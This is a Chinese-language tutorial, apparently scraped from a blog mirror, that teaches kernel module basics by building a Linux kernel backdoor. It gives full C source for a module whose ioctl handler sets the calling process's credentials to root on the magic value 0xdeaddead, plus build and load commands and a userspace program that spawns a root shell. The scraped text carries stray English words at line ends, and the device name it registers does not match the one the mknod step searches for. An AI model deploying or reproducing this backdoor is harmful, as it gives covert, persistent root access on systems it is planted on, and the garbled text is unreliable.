Linux內核模塊入門之簡單內核後門

內核模塊簡介

Linux內核支持運行時動態擴展,即運行時動態加載內核擴展模塊(.ko文件),ko文件所包含的代碼經加載後即成爲內核代碼的一部分,擁有內核特權,能夠調用內核其它組件,訪問內核空間數據以及操做硬件。固然也有跟內核代碼同樣的限制,如較小的函數調用棧,不支持浮點運算等。node

此處列舉一些內核模塊特有的能力:shell

  • 硬件驅動。內核模塊做爲硬件的驅動程序,這應該是內核模塊最主要的設計目標。
  • 進程控制。內核態對進程有徹底的控制權,如權限提高(如內核後門)、信號掛起(如保護某個進程不被kill -9誤殺)。
  • 內核擴展。內核有一些擴展點,是須要用模塊來完成的(Linux的防火牆框架netfilter)。

此外,因爲衆所周知的緣由,開發內核模塊,只能使用C語言。數組

內核模塊與用戶空間的接口

內核和用戶空間的通訊,主要有如下幾種方式:安全

  • 系統調用
  • ioctl
  • proc
  • netlink

其中,系統調用是最直接的,但不適用於內核模塊,由於擴展系統調用須要編譯整個內核,這違背了運行時動態擴展的初衷;/proc是一個僞文件系統,能夠用於傳遞信息,但沒法作到實時,由於文件系統是被動的;netlink接口相似socket,提供內核和用戶態間的雙向通訊,功能上徹底沒問題,但用起來有些複雜,適合作更重要的事情。因此,這裏用ioctl來實現。bash

ioctl是針對文件的操做,因此這裏的套路是:建立一個設備文件,並把內核模塊指定爲這個設備文件的驅動程序。這樣,用戶空間對這個設備文件發出的ioctl指令,便可傳達給內核模塊框架

內核後門思路

因爲內核代碼擁有系統最高權限(固然,裝載內核模塊須要root權限,不然系統就沒有安全性可言了),故能夠在內核模塊中留下後門,以便隨後的某個時刻獲取系統最高權限。其實現思路很簡單,內核模塊加載後做爲內核一部分運行,用戶空間進程經過ioctl調用內核模塊中的函數,內核模塊將調用者進程的uid和gid設置爲root,便可實現權限提高。另外,因爲內核模塊是跟內核運行在一塊兒的,故這種後門是沒有進程的。socket

具體實現

聲明初始化和結束入口

//其中init和cleanup是模塊裏實現的函數,會在下面介紹
module_init(init);
module_exit(cleanup);
複製代碼

內核模塊被加載和卸載時,相應的初始化和清理函數被調用,通常是作一些資源的申請、釋放操做。函數

設備註冊

分配設備號,並指定模塊中的函數做爲設備驅動例程,這個過程通常在模塊的初始化函數裏實現,模塊的初始化函數在模塊被加載時被自動調用:ui

static int init(void) {
   const char *const dev_name = "/dev/kdoor";
   g_major = register_chrdev(0, dev_name, &fops);
   if (g_major < 0) {
       return g_major;
   }
   return 0;
}
複製代碼

其中的fops是一個函數指針數組,用於指定設備驅動函數地址,這裏只須要註冊響應打開文件,關閉文件和ioctl的函數:spa

static struct file_operations fops = {
    .owner = THIS_MODULE,
    .open = device_open,
    .release = device_release,
    .unlocked_ioctl = device_ioctl
};
複製代碼

同理,須要在模塊被卸載時卸載驅動。釋放設備號資源:

static void cleanup(void) {
    //這個dev_name將出如今/proc/devices裏
    const char *const dev_name = "/dev/kdoor";
    unregister_chrdev(g_major, dev_name);
}
複製代碼

處理設備打開

有進程打開相應設備文件時,該函數被自動調用,這裏因爲功能太簡單,什麼都不須要作,返回成功便可:

static int device_open(struct inode *inode, struct file *file) {
    return 0;
}
複製代碼

響應ioctl

有進程在設備文件上調用ioctl時,該函數被自動調用,咱們的後門功能也就在這裏完成:

static long device_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    //涉及到Linux的RCU操做,不能直接賦值,稍微有點繁瑣但並不複雜
    struct cred *new_cred;
    kuid_t kuid = KUIDT_INIT(0);
    kgid_t kgid = KGIDT_INIT(0);
    if (cmd == 0xdeaddead) {
        new_cred = prepare_creds();
        if (new_cred == NULL) {
             return -ENOMEM;
        }
        new_cred->uid = kuid;
        new_cred->gid = kgid;
        new_cred->euid = kuid;
        new_cred->egid = kgid;
        commit_creds(new_cred);
    }
    return 0;
}
複製代碼

處理設備關閉

設備文件描述符被關閉時,或者進程異常時,這個函數被自動調用,針對這個例子,這裏依然什麼都不須要作:

static int device_release(struct inode *inode, struct file *file) {
    return 0;
}
複製代碼

後門的使用

編譯內核模塊

核心是一個特殊的Makefile:

ifneq ($(KERNELRELEASE),)
obj-m:=kdoor.o
else
PWD:=$(shell pwd)
KDIR:=/lib/modules/$(shell uname -r)/build
all:
        $(MAKE) -C $(KDIR) M=$(PWD)
clean:
        rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers
endif
複製代碼

另外,內核模塊編譯時,還須要安裝內核開發目錄。

加載模塊

上述模塊通過編譯後,便可獲得一個ko文件:

insmod ./kdoor.ko
複製代碼

建立設備

使用mknod命令建立設備文件: 根據設備驅動編號建立設備文件,以便用戶空間能夠與內核模塊通訊:

mknod /dev/kdoor c `grep KDoor /proc/devices|awk '{print $1}'` 0
複製代碼

第二個參數c表示此處建立的是一個字符設備,第三個參數是設備號,能夠從/proc/devices文件獲取。

在用戶空間使用這個後門(將調用進程權限提高爲root)

直接上代碼(留意註釋):

int main(int argc, char *argv[]) {
    const char * const dev_name = "/dev/kdoor";
    //打開文件
    int fd = open(dev_name, O_RDWR);
    if (-1 == fd) {
        return 1;
    }
    //經過ioctl調用到模塊中的實現
    int ret = ioctl(fd, 0xdeaddead, 0);
    if (ret != 0) {
        return 1;
    }
    //執行shell,此shell即擁有root權限
    execlp("sh", "sh", NULL);
    return 0;
}
複製代碼

小結

本文經過開發一個簡單內核後門(普通進程經過訪問內核模塊來提高權限)的開發,演示來內核模塊的能力,以及模塊做爲設備驅動與用戶空間通訊的通常套路,但願能起到拋磚引玉的做用,至少讓讀者知道有內核模塊這麼一回事。

相關文章
相關標籤/搜索